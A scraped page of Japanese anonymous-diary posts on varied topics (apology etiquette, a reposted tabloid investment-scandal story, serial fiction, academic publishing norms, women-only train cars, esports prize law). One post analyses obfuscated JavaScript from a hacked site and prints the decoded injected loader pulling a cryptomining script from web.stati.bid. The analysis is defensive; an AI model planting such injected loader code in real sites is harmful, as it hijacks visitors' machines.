「第三者」を含む日記 RSS

はてなキーワード: 第三者とは

2018-02-24

「人を怒らせたんだから謝れ」って何だよ

なぜその怒りが正当なものだという前提で話すの?

八つ当たり曲解勝手に怒ってるだけたもしれないじゃん。

不快感を与えたことが悪いというなら、一方的に怒られた方も不快になってるんだからお互い様だろ。

処世術としてとりあえず相手の怒りを鎮めた方が丸く収まるというならわかるが、

それは第三者が言うことであって怒ってる当人が言う話じゃない。

「俺の気分を害したことを謝れ」って何様のつもりだよ馬鹿じゃねえの。

怒る理由が正当なものだと納得できるまで謝る必要はないよ。

2018-02-22

また安倍総理夫人疑惑

安倍昭恵夫人広告塔「300億円被害」怪しい会社の正体

2/20(火) 11:00配信 SmartFLASH

<私は総理大臣の一番近くにいる存在。皆さんの声を直接届けられる、国民代表だと思っています

 一般書店では見かけない雑誌「Brilliant」(2014年夏号)で「日本代表するブリリアントレディ」として語っていたのは、首相夫人である安倍昭恵氏(55)だ。

 本誌は、昭恵夫人が絡んだ「投資トラブル」をキャッチした。トラブルに巻き込まれたという女性はこう話す。

出資を決めたのは、雑誌昭恵さんをはじめとする政治家の奥様や、女性起業家が出ていて、このクラブは信用できる、と思ったからです」

「Brilliant」は、中高年社交クラブHana倶楽部」が発行していた季刊誌ほとんどが、約1万人ほどいたというクラブの会員に無料で配られていた。会員の多くは、50代から60代の女性。同誌とこのクラブはいずれも、株式会社ロゼッタホールディングス(以下ロ社)の傘下企業によって運営されていた。

 ところがロ社は、債権者から東京地裁破産申し立てられ、1月18日付で破産手続開始決定を受けていたのだ。

「ロ社代表を長く務めていたI氏は、話術が巧みで、会員にとても人気がありました。クラブイベントでは、『昭恵さんには定期的に雑誌に出てもらう』と話していました。クラブでは、ロ社関連企業への投資を持ちかけられました。私は300万円ほど出資しました。なかには『今日は3000万円持ってきたのよ』と嬉しそうに話す70代の女性もいましたね」(別の女性会員

 ロ社は、傘下の事業会社の未公開株の購入や、事業資金小口出資クラブ勧誘していた。

なかには年率1割から3割という高い利率を謳った商品や、不動産投資への勧誘もあった。ロ社が集めた資金は300億円規模に上る」(信用調査会社社員

 破産手続きの開始で、未公開株は紙切れ同然となり、出資金の償還が難しくなった。いったい、ロ社を率いたI氏とは、どんな人物なのか。経済記者はこう言う。

「I氏は、茶髪が特徴的な中年男性。『18歳で営業世界デビュー』『元トップセールスマン』と自称していた。 だが、I氏がロ社の設立前に役員を務めていた2社は、特定商取引法違反で、2007年経済産業省から2012年消費者庁から業務停止処分を受けている」

 なぜ昭恵夫人はこうした怪しげな会社に絡んでしまったのか。同誌の編集事情を知る関係者はこう明かす。

編集を請け負った人物が、昭恵さんとも親しい友人を通じて、誌面への登場を頼みました。人件費編集費、制作費は、すべてI氏が出しました。できるだけ派手にして、会員の気分が高揚するように作っていました」

 取材を受けた経緯を安倍晋三事務所に問い合わせたが、締切りまでに回答はなかった。

 I氏に出資金返還する意思はあるのか。2月初旬、関西にある自宅マンションを訪ねると、インターホン越しに女性が応対し、「おりません。私たちにはわかりません」と話した。

 その後、ロ社と、関係者から入手したI氏の番号に電話をかけたが、出ることはなかった。代わりに、ロ社の破産管財人を務める高柳一誠弁護士に話を聞いた。

「ロ社の破産は、第三者申し立てで決まりましたので、実際の資産などの調査は始まったばかりです。債権者数や、債権額もこれからまります裁判所は、第1回の債権者集会2018年6月に設定しています。まだ、決着には時間がかかります

 妻の軽率なおこないが、再び夫に頭を抱えさせる。

週刊FLASH 2018年3月6日号)

2018-02-21

anond:20180221193215

JavaScriptには詳しくないため、コードをまるごと検索につっこんで類似例を見つけたいところだが、記号が多用されたコードそのままではぐぐれないので

"javascript obfuscator dollar underscore" といったキーワード検索

すると下記の解説サイトがヒットし、JJEncodeというツールで難読化されたものであることがわかる

https://blog.korelogic.com/blog/2015/01/12

 

デコードツールも紹介されているのでさっそく試してみると、以下の結果が得られる

var el = document.createElement('script');
el.src = 'https://web.stati.bid/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTNT8UDGUBBT0zPFUjCtARE2NzAVJSIPQ0FJABFUVTK_AABJVxIGEkH5QCFDBASVIhPPcREqYRFEdRQcsUEkARJYQyAXVBPNcQLaQAVm4CQCZAAVdEMGYAXQxwa.js?trl=0.20';
document.head.appendChild(el);

 

次に "web.stati.bid" でぐぐると下記のブログがヒットする

それによると去年12月ぐらいか複数サイトが改変被害に遭っていて、同じスクリプトを挿入されているらしい

飛び先のURLはいくつかあるが、中でもこのstati.bidドメインは今月登録されたばかりの非常に新しいもののようだ

https://blog.sucuri.net/2018/02/wikipedia-page-review-revealed-minr-malware.html

ちょうど英語Wikipediaでも同ドメインへ繋がるリンクが貼られて一悶着あったようだが、そのURL桂春蝶サイトに埋め込まれていたURLと(パラメータ込みで)完全一致する

 

結論:黒。実際にマイニングスクリプトが埋め込まれている。

ただし前例から考えて、第三者クラックして挿入したものである可能性が高い

2018-02-20

[] #50-5「猫の生殺与奪権」

ウナギを守るためだ!」

「『人間の作った勝手尺度で他種の命を測るな』って言ったのはお前だぞ! ウナギを守るために猫を殺すってのは、命に優先順位をつけたってことだ」

貴様らは考えが浅すぎる! もっと広い視野物事を見ろ! 『殺される猫が可哀想』くらいにしか思っていないくせに、その場限りの安易気持ちで猫一匹を守ってどうする」

みんなの言い分も、ウサクの言い分も、相容れないようにみえ本質は同じように思えた。

あーだこーだと理由をつけてはいるが、とどのつまりは異なる命を天秤に乗せ、どちらがより重いか外野が言い争っているに過ぎなかったからだ。

「僕たち人間の都合で猫を殺すなんて勝手すぎるよ」

「その猫を生かしてウナギを見殺しにするのも貴様らの身勝手だろう!」

どちらが身勝手かというなら、どちらも身勝手という他ない。

理由が何であれ、猫を殺すにしろ生かすにしろ、それは俺たちの都合でしかないのだ。

だが、そうやって俯瞰しているつもりの俺もロクなもんじゃない。

ただ成り行きを見守り、自分自身が出すべき結論から逃げていたのだから

しかし逃げられるものでもないことは何となく分かっていた。

この猫を捕まえるのにだって小魚を一匹エサにしている。

その上で握った猫の生殺与奪権。

もはや俺たちは後戻りできなくなっていることを肌で感じていたからこそ、何らかの結論押し付けなければならなかったのだ。


議論平行線を辿っていた。

いや、悪化しているかもしれない。

もはや互いの主義主張をひたすら押し付けつつ、罵詈雑言が入り混じる泥沼と化していた。

テーマが何であろうと、所詮はガキ同士の言い争いってことなんだろう。

まあ、それでも上等なほうだとは思うが。

「ええい、埒があかん! マスダ、猫をこっちに寄越せ」

ウサクはとうとう強攻策に出てきた。

ダメだ! 渡すんじゃない!」

当然、弟たちが割って入る。

兄貴、その猫を連れて逃げろ!」

別に猫を庇いたいと思っているわけではないが、この状況でウサクに渡したところで事態は進展しないだろう。

弟たちとの争奪戦が勃発するだけだ。

かといって逃げたところでその場しのぎにしかならない。

結局、互いが納得しなければ解決しないのだ。

こうなったら、俺が出来る提案は一つしかない。

「みんな落ち着いて、いったん話を整理しようぜ。よく考えてみれば、猫を殺すかどうかの二択じゃないことは分かるはずだ」

「え? どういうこと?」

「この猫がウナギを食べるかもしれないことが問題なんだろ? だったらこの猫がウナギを食べなければ、殺す必要はないってことだ」

折衷である

みんなも疲れてきているから、多少のことは妥協したくてたまらないはず。

「なるほど~、頭に血が上ってその発想がなかったよ」

「ふむ、理屈は分かる」

予想通り、みんな提案に乗ってきた。

こういう口論がゴネ得だといわれやすいのは、この点が大きい。

理屈が通らなくても主張を押し通し続ければ、折衷案に持っていける可能性があるからだ。

不毛な言い争いが辿る流れはいだって同じで、俺はそれを第三者立場から少し早めただけ。

「で、具体的にはどうするんだ?」

強いて不安があるとすれば、折衷案に持ち込んだ後のことについては俺もノープランだってことだ。

(#50-6へ続く)

2018-02-19

anond:20180218224641

(追記しました)

横だけど私は若い頃、自分無駄に自信がありすぎてダメ男に気づくのが遅れるきらいがあったw

普通の人なら即切り必至の酷い暴言を吐きかけられても、なんか気のせいだったかな?みたいに思って思考停止してたというか。

自分は蝶よ花よと愛されまくっているという認知の歪みが強固に出来上がってた。

昔痩せてた人がいつのまにかブクブクに太っていた事に気付かなくて、ズボンがピチピチになっても私痩せてるから~とか言って気付いていない、現実見れてない、というのに近いかもしれない。

散々虐められて酷い目に遭わされてるのに何時までも愛されてる自分・愛されてしかるべき自分、というセルフイメージを手離せないでいた。

現実は、そんなに大切にして特する価値なんか一切持たない女だったから、家族からも知り合いからも彼氏からゴミ扱いされてたんだけど、それが不思議自分の目には見えていなかった。今思えばあからさまに袖にされてたし、兄弟や友人()達などとは一目見てわかるほどに差をつけられて冷遇されてたのに。

本当は兄弟間でも友人間でも恋愛関係でもいつも三番手番手以下の保険存在だったのに。

でもどんなに蹴っても幸せそうにしてたから、私はとても利用しやすい奴だったろうなと思う。

当時の私は自分愛され神話の他にもう一つの傲慢さを持っていて、それは、私が好きになった相手は皆私と同じかそれ以上には心の優しい親切で誠実な人達に違いないと思ってたという事。

から例えば自分彼氏がいつも女をゴミ扱いして取っ替え引っ替えしてばかりいる人だって、そういう兆候があったり人づてに聴かされたりしても、右から左に受け流してそんなことは知らなかった事にしてた。

とにかく幸せ妄想ワールドを生きていたという感じでありつつ、だけれどもいつも訳のわからない不快感ばかり募って苛々していたが、原因が自分ではさっぱりわからずにいた。

【追記】

どうしてそんな状態から立ち直れたのか?というブコメをされましたが、単に自分ATフィールドの強度を超えるトラブルに見舞われて痛さのあまりに我にかえったただけの事だと思います

あ、「どうして」じゃなくて「何処で」立ち直ったのか?でしたね。

転機は何度かあったのですが、一番効いたのは二十歳位の頃に親友との関係トラブルを起こした事です。親友本人はいいよいいよ気にしてないよ~♪と言っていましたが、第三者から「お前のせいで優秀な親友さんの可能性が潰されてしまう。お前の様な邪悪寄生虫は死になさい」と面と向かって言われてしまった事です。

何故そんなにも強烈な言葉をぶつけられる事になったのかというと、当時私は親友と二個イチで行動していたのですが、自信満々に振る舞う無能容姿も悪い私と、色々な才能を持ち見た目も可愛いけれど極度に自信無さそうに振る舞う親友、という絵面が、他人の目には私が一方的親友を虐め支配しているようにしか見えなかったからでした。

それに実際のところ私は自分の思い上がりから私達に近付いて来た人は私に用があるのかと思い込んで、その様に対応していましたし、才能溢れる親友を常に羨んでいたのも事実です。

第三者から罵倒をされて初めて、私は親友を虐めていたのか?という疑問を持ち、自分の中の「自分優しくて気のいい人間である神話崩壊し、私達に近付いて来る人の皆が私に用はなく、私はただひたすら邪魔なだけだったという事に気付いたのです。

(しかしそんな強烈なトラブルを起こして後も、妄想上の自分現実自分が解離してるせいで何度もトラブルを起こしたのですが。)

あとは漫画小説など創作物などの影響とか。それとブログTwitter自分の事を書いた(そして馬鹿だの幼稚だのとリプライされまくった)のが運の尽きもとい考えを改める切っ掛けになったんじゃないかと思います

anond:20180219123152

できるかぎりいじめにならないように努めるだけだろ。

何がいじめかの判断各自がするし、それで認識が食い違えば(警察司法も含む)第三者を間に入れる。

おまえは何なんだ、「どれがいじめかを決めてくれないとどんどんいじめてやるからな」って言いたいのか。

anond:20180219070454

なるべく多くの人に見てもらって情報、反応、反論等欲しかったので煽り気味に書いてるところはある。そこが気に障ったのならすまん。

まあ私の文章煽りや売り言葉に買い言葉がないとは言わないのでそこはお互い様ということで。仲良くマサカリ投げあいましょう。

あくま自分見方を紹介しているだけで理系のやることが全て正しいとも思ってない。ただ理系では日本が一流研究をしていると誇る分野が数多くある一方で、文系の多くの分野で全体としては日本学会は二流という嘆きが聞かれるのも確かだ(もちろんどんな分野にも日本人の一流研究者はいるだろうが)。

これ[要出典]ってタグ貼るべきところ? 私は最初増田anond:20180217012945)で(1つだけだけど)実例挙げたし、体験談ベースの話でよければ私の見た限りでは日本外国研究ってけっこうレベル高いと思うんだけど。外国語に訳されても遜色ないモノグラフがたくさん出てる。

理系では著書でオリジナル発見研究成果を発表する奴はまずいない。いるとしたらほぼトンデモだと思って間違いない。文系増田が挙げてる怪しい医学博士とか。

文系では違うのか。正直文系ガチ研究書は見たことがない。三浦瑠麗の著書も調べてみたが、タイトルや値段を見る限り一般向けだろう。大学書籍部や図書館を探せばあったんだろうか。ただ(博士論文出版等は除いて)著書で最新の研究を発表するというやり方は、どの部分に新規性があるのかの表明や議論双方向性等に問題がないのだろうか?新規研究成果なら第三者査読を経て論文にするのが正統なように思えるが。数学証明のように検証可能性が極めて高ければホームページで発表とかでもいいんだろうけど。

そこからか。何のために研究雑誌Book Review欄があると思ってるんだ……(和文だろうが欧文だろうがたいていのメジャー学術雑誌にはBook Review欄はあるし、場合によっては書評査読がつくよ)。ていうか普通、序章とか第1章とかで先行研究の整理をするし(一般向けも混在するレーベルだと編集に嫌がられることもあるらしいけど)、そこで自分オリジナリティについても言及するよな。

あくまで一例だけど、先日出た研究書の目次はこんな感じ→http://www.unp.or.jp/ISBN/ISBN978-4-8158-0871-6.html適当なUniversity PressのHPを開いて適当新刊をチョイスしただけなので、内容については何も言わないし、言えない。なぜなら私は読んでないからだ。あくまで「ちゃんと章立てに先行研究って入ってるでしょ」というサンプルとして受け取ってほしい。目次で明示されてないだけでちゃんと先行研究の整理をしている本もあるので気をつけて。それはそれとして面白そうな研究だと思うんで余裕があったら読んでみたい)。

駄目な研究は本として出版したってロクに引用されずにアカデミアから消えていくだろうし(もちろんあまりマニアックすぎて引用するひとがいないという悲しい状況も有り得るのだがそういう場合学術雑誌書評でちゃんと良い研究ですよって言われてるからな。おべっか書評がないとは言わないけど、むっちゃ辛辣書評も見かける)、まともな研究書なら議論典拠は明示してあるんだから議論双方向性に問題はないでしょ。

三浦瑠麗の著書、内容(https://www.iwanami.co.jp/book/b261983.html)を見る限りでは研究書ということでいいと思うけど。文系は割と凝ったタイトルつけるひと多いかタイトルだけで研究書じゃないと即断することはできないし(『想像の共同体――ナショナリズム起源流行』も『〈日本人〉の境界――沖縄アイヌ台湾朝鮮 植民地支配から復帰運動まで』も立派な研究書です)、値段についても、うちの分野の研究書の半額くらいの値段で売れて羨ましい限りと思うけど、それが研究であることを否定する材料にはならない(ていうか一般書だとしたら3000円以上ってクソ高では)。国際政治学一般理論みたいに需要がある分野ならそれなりに廉価でも採算取れるよね。研究書は別に専業研究者けが読むものではないので、政治学者以外の教養人にも売れそうだと判断たらこのお値段になるのは別に不思議じゃない(逆にマイナー分野では……お察し下さい。売れない→高い→売れない→高いの悪循環でございます学術成果刊行助成でなんとか刊行できてる研究がたくさんあるんだよなぁ)。気が向いたら図書館で実物見てみるわ。

何度も言うけど、中身は知らない。ひょっとしたらダメダメな内容かもしれない。でもそれは、査読通ったちゃんとした学術論文でも中身がショボかったりオリジナリティ希薄だったりすることがありうるのと同じで、ダメダメから研究業績にカウントされないということにはならない。たとえそれがサラミ論文であったとしても、英語で書かれた査読つき論文だったらそれは業績としてカウントされるべきだよね。公募採用されたり学術界で優れた研究者として認知されるためには内容が優れてないといけないし、こんなサラミ論文しか書いてないやつがなんで○○大の講師なんだ! という批判はされていいと思うけど、それはあくまで内容を見た上での話であって、形式だけを見て業績じゃないと言うことはできないはず。今回の元増田批判が内容を見た上での話なら『シビリアンの戦争』を未読の私は何も言ってないし言う資格がないけど、理系増田も読んでなくて、ここではあくま形式の話をしてるんだよね。形式の話をするなら彼女学術業績としてカウントされるべき本を書いていますしか言いようがない。

一般論からすると著書はオリジナル研究業績であり得るが、逆も然りで著書は必ずしもオリジナル研究業績とはみなされないというべきなのでは。門外漢は著書数もオリジナル業績数とみなせという主張は言い過ぎだろう。

「著書はオリジナル研究業績(でありうる)」「研究書は立派なオリジナル研究成果」と私は書いてるよね? それで前段へのアンサーになってると思うし(そのうしろでちゃんと「一般向けの本」と「研究書」を分けて記述してるよな)、そもそも私は最初増田anond:20180217012945)で「新書2冊はおいといて」って書いてるので、“すべての著書”がオリジナル研究業績なんて端から主張してないってことは読めばわかってもらえると思ってたんだけど(オリジナル研究書籍化したものを「研究書」と呼ぶわけだから、“すべての研究書”はもちろんオリジナル研究業績です。一方で著書のすべてが研究書というわけではないので、“すべての著書”が研究業績というわけではありません。こう書けばわかるかな?)。

後段、著書はオリジナル学術業績とはみなされないという理系ローカルルール持ち出して他人を業績が少ないと批判する方が言い過ぎでは。いやもちろん他分野の常識に詳しくあらねばならない必然性はないけど、他人を「業績が少ない」と批判する以上は他分野の「業績」の基準も知っておくべき、って、そんな無茶な主張? 文学でも歴史学でも政治学でも社会学でも教育学でも文化人類学でも哲学でも法学でも、おおよそメジャー文系研究分野ではだいたい研究書はオリジナル研究業績としてカウントされるんだから(これは英語圏でも変わらないと思うよ。少なくとも私の専門分野や隣接分野では英語だろうがフランス語だろうがドイツ語だろうが韓国語だろうが研究書はオリジナル研究業績です)、文系からするとその常識通用しない方が非常識ですよ。理系ローカルルール勝手学術界の一般ルール敷衍するのやめてもらえます

院生だろうが単著論文を発表するのがふつうの分野の人間からすると、理系では指導教授論文の著者に名前を連ねるのか、変わった慣行だなぁ、って思うけど、それは理系慣行なんだなとして受け止めてるし、この研究者自分学生論文名前を連ねて論文数稼ぎしてる! なんて主張しないよ(もちろんギフトオーサーシップ批判されるべきだけど、理系では自分指導してる学生論文の共著者になるのはギフトオーサーシップではないんだよね? このへん詳しくないので間違ってたらごめん)。分野が違うと業績のカウントの仕方も違うんだなぁ、って受け取っておけばいいじゃない。

その上で現在日本語地位が低い分野や日本語でやる意義がまるでない分野まで、日本語で最新の論文を書いてもよい、あるいは日本語地位を高めていこうなんていう理由がよくわからない。例えば挙げてくれた西洋古代史の最新論文日本語で書くことに何の意味がある?日本全然関係ないのに?解説書や教科書は別だ。日本語で多くの人が学べることには意味がある。でも論文なのだとしたら欧米研究者が読まなければ学問進歩に乗らないんだからただの自己満足だろう。アマチュア研究者だとしたらそれでもいいんだが、大学研究者プロだろう。国から研究費貰って英語が中心の分野で日本語しか書かないのは国民が納得しないだろうから税金泥棒しか言えない。

将来英語が中心じゃなくなることもありうるだろうという論を挙げているがそれは詭弁だ。理系だってラテン語から現代語への変化やドイツ語フランス語凋落を経ているが、最新の論文を主流の言語で書かない理由はない。(欧米科学力を中国が圧倒的に上回ることは考えにくいが)将来中国語になるんだとしたらそれもいいだろう。もし仮に日本がその学問分野で覇権国家になるプランがあってそのためのリソースを投じているっていうなら別だけど、そうじゃないなら英語に圧倒的に負けてる分野はさっさと降伏して英語ベースにしたほうが世界中学者のためになるし日本人世界に認められる学問的成果をあげるためにも効率的だと思うんだけど。国際政治学についていえば英語圏研究が中心だという知識増田にもあって、反米主義だったり日本世界覇権を夢見ていたりといった特殊思想的背景があるわけでもない研究者英語論文を書かないのだとしたら、怠慢あるいは研究先進性の不足の誹りを免れないであろう。

これ最初にも書いたけど、主要国のアカデミアでは文系研究の多くの部分を自分の国の言語でやってます。たとえそれが自分たちとは縁遠い地域のことだとしてもね。日本語英語以外の言語で書かれた日本学論文なんて日本人研究者はあまり読まないんじゃないかと思うけど、たとえばポーランド人ポーランド語日本学論文書いてるし(https://ci.nii.ac.jp/naid/120006355425。ちなみに、このポーランド人みたいに、日本人外国研究者がその国の言葉日本での研究状況を紹介するっていうのは既にあちこちでやられてます)、それは日本アカデミアで読まれていないとしても日本学の発展に寄与ポーランドアカデミアを豊かにしていて、仮にポーランドで極めてオリジナリティが高い研究が出てきたら日本人日本学者も何らかの方法でそれを読まないといけないだろうと思うわけですよ(別に自分で読む必要はない。他人に読んでもらえばいいんだから翻訳ってそういうことだよね)。ポーランドアカデミアは当然ポーランド固有の問題意識を持っているし、その土壌から日本にはない新鮮な日本観が生まれてくるかもしれない、という点で、色々な国のアカデミアがそれなりに独自の発達を遂げていることは重要だと思うけれども。

当たり前だけど西洋古代史の論文日本語で書いてあっても最新の研究動向は反映されているわけ。書いてるひとは西洋諸言語読めるわけだしね。向こうがそれを読めない、または読もうとしないからといって先進性がないわけではない。読まれる/読まれないという尺度研究先進である先進的でないという尺度は別だよね? 混同すべきじゃない。そこにはちゃんと研究蓄積というもの存在しているんだよ。明治期以来、主要文系分野では日本語の分厚い研究蓄積がある。もちろんそこには西洋猿真似だったり「横のものを縦にした」だけの研究もたくさんあるかもしれないけど、それらは日本アカデミアを間違いなく豊かで質の高いものにしてきたと思う。

で、哲学の本場はドイツとかフランスとかイギリスとかだと思うけど(イメージ貧困すぎたらごめん。正直哲学のことはよくわからないんだ……)、日本人哲学者が優れた哲学書を発表すればそれはちゃんと英訳されてオックスフォード大学出版から出版されていたりするのね(https://en.wikipedia.org/wiki/Kojin_Karatani)。これは日本語圏で外国人に読まれない研究を積み上げていても、良いものを書けば「日本研究者面白いことやってんじゃん。翻訳して読んでみようぜ」ってなる実例なんじゃないかと。

根本的な話をするなら、「国際政治学」という分野の標準言語英語である必然性はどこにもないわけだよね。それは英語圏で優れた研究が積み上げられてきた帰結であって、英語圏の人が自分たち言語研究成果を積み上げた結果それが参照されるべき言語になっているだけの話。要するに彼らは先行者利益を得ているわけ。現代思想の分野でフランス語大手を振って歩いているのも、フーコーやその他の人たちがフランス語で優れた成果を書いてきて、それが受け入れられてきたか英語日本語フランス語の文献が訳されまくっているという現状がある。日本語がこの高みを目指してはいけない理由はないよね。

私はここまで書いてきたような理由日本語論文を書くのも重要営為だと思う(加えて、執筆言語自国であることは東アジア欧米の主要国の文系アカデミアとしての標準に則っているので、ことさら日本アカデミアだけが批判される謂れはないよな、とも思う)。ただ理系増田がそれにどうしても同意できないなら、それを説得する言葉を私は持たないなぁ、とも思う。私の論拠はだいたい言い尽くしたので、執筆言語問題についてこれ以上理系増田に答えようとは思わない。なんと言って終わらせればいいかからないけど、とりあえず、お互い研究頑張りましょう。

差別案件として捉えるのはやめませんか?

女性専用車両男性数人が乗り込みトラブル通勤ラッシュ時の千代田線12分遅れる http://www.huffingtonpost.jp/2018/02/15/woc-chiyoda_a_23363098/

女性専用車男性3人居座り メトロ千代田線遅れる:朝日新聞デジタル https://www.asahi.com/articles/ASL2J64NML2JUTIL073.html

通勤ラッシュ時に東京メトロ千代田線女性専用車反対派の男性らが女性専用車両に乗り込みトラブルになり遅延 - Togetter https://togetter.com/li/1200067

差別意識やらと話を大きくしている人が多いけど、そんなたいそうな話ではない。

・遅延は誰の責任

遅延こそが場に居合わせた(だけでなく同路線を利用している多数の利用者)多数にとって重大事

事業者自称のなんとか専用車に、なんとか以外の人が乗ろうが乗るまいが、遅延していなければ何も問題にはならない。(当然報道もされない)

男性迷惑行為を行ったか

→行っていない。ただし場に居合わせ大衆にとって迷惑カンジの行為を行ったとは言える。これを空気が読めないと見るか、謂われのない同調圧力に抗したと見るかはまた別。違法行為も当然行っていない。

通報した女性迷惑行為を行ったか

→行っていない。ただし一面で無知通報行為ではある。なぜなら男性が乗っても違法行為でも迷惑行為でもない。(が、それを理解していないからこそ通報したのだろうと推測される)

 一方でなんであろうと駅員に通報するのも迷惑行為ではない。ただししつこく駅員に男性の降車を要求していたならば女性迷惑行為を行ったとも見なせる。

・駅員及び鉄道事業者対応は適切か?

→表面的には適切、よくよく読めば不適切。駅員が降車をお願いするのは構わない。しか男性が降車を拒否したらそれまで。駅員に男性強制降車させる権限はない。15分も遅延させた責任は駅員及び鉄道事業者

 また、なんとか専用車とはどんな制約の元、どんな理由で、どうしてこのような手段実施しているかの案内・啓蒙・告知がないという別問題もある。痴漢がある、男性加害者女性被害者が多い、鉄道事業者としての制約、コスト、乗り分け強制すれば差別、これらを丁寧に説明した上でお願いしていれば、一部に見られる反発も抑制できたのに有耶無耶にしてきた。(そもそも痴漢被害女性専用車導入で減った客観的エビデンスもない)

 とどのつまりこの事態を招いたのは過去施策を含めた鉄道事業者自業自得でもある。なお、報道するならばここが主眼にならなければ報道する意味がない。(そもそも今回案件たかが15分遅延でそれそのもの報道価値がない)

報道は適切か?

不適切。これが今回の最大の問題点たかが15分の遅延は報道に値しない。ましてや速報性も要求されない。それなのに敢えて報道している。報道するならばきちんと背景含めて報道しなければ断絶しか生まない。個人的にこの手の報道紛いを「見た目奇麗な炎上記事」としか感じない。

・ハフポ

メトロ大本営発表以上の内容がない。男性側、もしくは男性側と同じ立ち位置の側の意見がない。第三者法曹公共交通差別など専門家)の意見もない。タイトルや本文含めて、男性側に非があるような印象にまみれている。男性行為違法性がないことの明記が評価できるが、これとてメトロの言。(渡辺一樹

朝日

居座る、という表現が端的。男性行為違法ではないことに触れてもいない点でハフポよりも酷い。これは報道ではない。朝日新聞社千葉雄高のtweetしかない。(千葉雄高)

SNSはてな含)

 報道がまず非難されるべき事柄を、話を大きくして主張し合う人が多い。

 たかが15分遅延の報道に疑問を感じていない人が多数、また多くの追従者を得ているのがとても残念でまた驚く。

 これを機になんとか専用車などに関心を持つのはとてもよいことだけど、このたかが15分の遅延を題として語るのは悪手。関心を持ったなら図書館か、報道で汚れる以前までの範囲で再検索して出直してもらいたい。

anond:20180219020929

なるべく多くの人に見てもらって情報、反応、反論等欲しかったので煽り気味に書いてるところはある。そこが気に障ったのならすまん。


あくま自分見方を紹介しているだけで理系のやることが全て正しいとも思ってない。ただ理系では日本が一流研究をしていると誇る分野が数多くある一方で、文系の多くの分野で全体としては日本学会は二流という嘆きが聞かれるのも確かだ(もちろんどんな分野にも日本人の一流研究者はいるだろうが)。



理系では著書でオリジナル発見研究成果を発表する奴はまずいない。いるとしたらほぼトンデモだと思って間違いない。文系増田が挙げてる怪しい医学博士とか。

文系では違うのか。正直文系ガチ研究書は見たことがない。三浦瑠麗の著書も調べてみたが、タイトルや値段を見る限り一般向けだろう。大学書籍部や図書館を探せばあったんだろうか。ただ(博士論文出版等は除いて)著書で最新の研究を発表するというやり方は、どの部分に新規性があるのかの表明や議論双方向性等に問題がないのだろうか?新規研究成果なら第三者査読を経て論文にするのが正統なように思えるが。数学証明のように検証可能性が極めて高ければホームページで発表とかでもいいんだろうけど。

一般論からすると著書はオリジナル研究業績であり得るが、逆も然りで著書は必ずしもオリジナル研究業績とはみなされないというべきなのでは。門外漢は著書数もオリジナル業績数とみなせという主張は言い過ぎだろう。




論文英語日本語問題についてはとりあえず冷静に原文を読んでくれ。

3本しかないので数が少ないと書いただけで日本語は業績に入れないとは言ってない。日本学会で発表したり国内研究者向けに文章を書くのも意味がないわけではないことは知っている。そもそも三浦の業績もショボいと酷評しただけで全くないとは言っていないし。

それからここは誤解があったみたいだけど英語でないことは「国際政治学」だから批判しているのであって、日本中心で行われている学問なら日本語でも問題ないことは理系元増田にもわかっている。文系増田動物学を例として挙げてくれているがああいローカルな側面がある学問についてまで何でもかんでも英語統一しろと言ってるわけでもない。アジア研究についても日本語論文重要視されているということもよくわかった。


その上で現在日本語地位が低い分野や日本語でやる意義がまるでない分野まで、日本語で最新の論文を書いてもよい、あるいは日本語地位を高めていこうなんていう理由がよくわからない。例えば挙げてくれた西洋古代史の最新論文日本語で書くことに何の意味がある?日本全然関係ないのに?解説書や教科書は別だ。日本語で多くの人が学べることには意味がある。でも論文なのだとしたら欧米研究者が読まなければ学問進歩に乗らないんだからただの自己満足だろう。アマチュア研究者だとしたらそれでもいいんだが、大学研究者プロだろう。国から研究費貰って英語が中心の分野で日本語しか書かないのは国民が納得しないだろうから税金泥棒しか言えない。


将来英語が中心じゃなくなることもありうるだろうという論を挙げているがそれは詭弁だ。理系だってラテン語から現代語への変化やドイツ語フランス語凋落を経ているが、最新の論文を主流の言語で書かない理由はない。(欧米科学力を中国が圧倒的に上回ることは考えにくいが)将来中国語になるんだとしたらそれもいいだろう。もし仮に日本がその学問分野で覇権国家になるプランがあってそのためのリソースを投じているっていうなら別だけど、そうじゃないなら英語に圧倒的に負けてる分野はさっさと降伏して英語ベースにしたほうが世界中学者のためになるし日本人世界に認められる学問的成果をあげるためにも効率的だと思うんだけど。国際政治学についていえば英語圏研究が中心だという知識増田にもあって、反米主義だったり日本世界覇権を夢見ていたりといった特殊思想的背景があるわけでもない研究者英語論文を書かないのだとしたら、怠慢あるいは研究先進性の不足の誹りを免れないであろう。

2018-02-18

01:13:20~

がま「スポンサーしたいっていうメーカーさん達がぼこぼこ出てきていて、正直その金額っていうのが、賞金なんかより全然大きい金額で動いていて、

  賞金に関して、結構、やっぱり、正直グレーな部分って多少はあると思うので、そういうリスクを犯すよりも、まず賞金なしで、プレイヤー達が、どれだけかっこよく見せられるか、

  今のスキームで、そういうのもあってもいいんじゃないかなって思ってます

浜村「いいですか?グレーな部分があるっていうのは、ちょっと憶測が凄く混じっているので、そこはきちんと、聞いてくれたら答えます。」

01:15:45~

ハメコ「先程グレーである部分というのは、説明しますというふうにお話いただいたので、まああの、ほうぼうで色々言われてるわけですよ。合法性が、大丈夫なのかとか、そういう話がいっぱいあるので、

    ここで説明していただいたほうが今後絶対いかなと思うんですよ。たとえばプロライセンス労務契約によって賞金を出してるんじゃないかって言われてます。その点についてはいかがですか」

浜村「あのー、なんでそういうふうにいうのかよくわからないんですけど、新聞とかでも、出てたじゃないですか。景品表示法の表示対策課(?)が、プロへの報酬なら問題ない、という形で出してましたよね」

ハメコ「日経ですよね?」

浜村日経さんですね。僕らも、あの、官公庁相談してないみたいなことをずーっと言われてましたけど、消費者庁と、話してるんですよ。僕も消費者庁5回も行って、来てもらったし。

   そこん中でどうやったらやっていけるか、というのを議論したんですね。そこん中で僕らもプロならいけるんじゃないかって思ってたんですけども、ちゃんと、消費者庁のほうから、えー、2つ方法があって、

   一つは取引付随性のない、全然関係ないところがお金出す」

ハメコ「第三者から拠出ですよね?」

浜村はい、もうひとつが、プロライセンスなら、えー、わかりやすく、その人が高度なパフォーマンスを出せるということを言えるので、、報酬として払う、整理がしっかりできますという言い方をされたんですね。

    だから僕らもその、意向を受けて、プロフェッショナルライセンスがいいんだね、ということで議論したんです。

    で、議論した中にはCESAっていう、大手ソフトハウスの方々が、大勢いらっしゃって、で、ジョガー。ご存じだと思いますけど、その代表の方が30人以上集まって、

